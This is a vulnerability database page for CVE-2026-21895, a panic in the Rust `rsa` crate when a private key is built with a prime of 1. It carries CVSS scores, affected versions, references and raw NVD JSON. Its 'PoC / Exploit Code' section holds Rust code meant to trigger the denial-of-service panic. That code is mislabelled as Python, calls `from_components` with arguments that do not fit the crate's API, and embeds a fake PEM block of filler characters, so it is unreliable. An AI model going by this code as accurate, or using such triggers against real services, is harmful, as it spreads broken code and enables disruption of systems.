Security Vulnerability Report
中文
CVE-2026-21895 CVSS 5.3 MEDIUM

CVE-2026-21895

Published: 2026-01-08 14:15:58
Last Modified: 2026-03-12 19:27:31

Description

The `rsa` crate is an RSA implementation written in rust. Prior to version 0.9.10, when creating a RSA private key from its components, the construction panics instead of returning an error when one of the primes is `1`. Version 0.9.10 fixes the issue.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:rustcrypto:rsa:*:*:*:*:*:rust:*:* - VULNERABLE
rsa crate < 0.9.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-21895 PoC - Rust RSA Library Panic with Prime=1 // This PoC demonstrates the vulnerability in rsa crate < 0.9.10 use rsa::{RsaPrivateKey, RsaPublicKey, pkcs8::DecodePrivateKey}; use rand::rngs::OsRng; use num_bigint::BigUint; fn main() { println!("CVE-2026-21895 PoC - RSA crate panic with prime=1"); println!("=================================================\n"); // Valid RSA key generation (works fine) match generate_valid_rsa_key() { Ok(_) => println!("[+] Valid RSA key generation: SUCCESS"), Err(e) => println!("[-] Valid RSA key generation failed: {}", e), } // Trigger the vulnerability with prime=1 println!("\n[*] Attempting to create RSA key with prime=1..."); match create_rsa_key_with_prime_one() { Ok(_) => println!("[+] Key generation succeeded (patched version)"), Err(msg) => println!("[-] Key generation failed with: {}", msg), } } fn generate_valid_rsa_key() -> Result<(), String> { let bits = 2048; let private_key = RsaPrivateKey::new(&mut OsRng, bits) .map_err(|e| format!("Failed to generate RSA key: {}", e))?; Ok(()) } fn create_rsa_key_with_prime_one() -> Result<(), String> { // This should trigger panic in vulnerable versions // or return error in patched versions let p = BigUint::from(1u32); // Invalid prime let q = BigUint::from(3u32); let e = BigUint::from(65537u32); // Attempt to create key - this will panic in vulnerable versions let _key = RsaPrivateKey::from_components(p, q, e, vec![].into_iter()) .map_err(|e| format!("Error: {}", e))?; Ok(()) } // Alternative PoC using pkcs8 format fn poc_with_pkcs8() { // PKCS8 format with invalid components let invalid_pem = r#" -----BEGIN RSA PRIVATE KEY----- MIIBOgIBAAJBALRiMLAHudeSA2D6b0F8p6cXjGUO0yKcF8Y4h7q2n5a3s9Q8x F3K8d2j1v2m4n5o6p7q8r9s0t1u2v3w4x5y6z7A8B9C0D= -----END RSA PRIVATE KEY----- "#; match RsaPrivateKey::from_pkcs8_pem(invalid_pem) { Ok(key) => println!("Key parsed: {}", key), Err(e) => println!("Parse error (expected in patched version): {}", e), } }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21895", "sourceIdentifier": "[email protected]", "published": "2026-01-08T14:15:57.720", "lastModified": "2026-03-12T19:27:31.327", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The `rsa` crate is an RSA implementation written in rust. Prior to version 0.9.10, when creating a RSA private key from its components, the construction panics instead of returning an error when one of the primes is `1`. Version 0.9.10 fixes the issue."}, {"lang": "es", "value": "La caja 'rsa' es una implementación RSA escrita en Rust. Antes de la versión 0.9.10, al crear una clave privada RSA a partir de sus componentes, la construcción entra en pánico en lugar de devolver un error cuando uno de los números primos es '1'. La versión 0.9.10 soluciona el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-703"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rustcrypto:rsa:*:*:*:*:*:rust:*:*", "versionEndExcluding": "0.9.10", "matchCriteriaId": "491081DD-0767-47F2-B946-541C68473B90"}]}]}], "references": [{"url": "https://github.com/RustCrypto/RSA/commit/2926c91bef7cb14a7ccd42220a698cf4b1b692f7", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/RustCrypto/RSA/security/advisories/GHSA-9c48-w39g-hm26", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}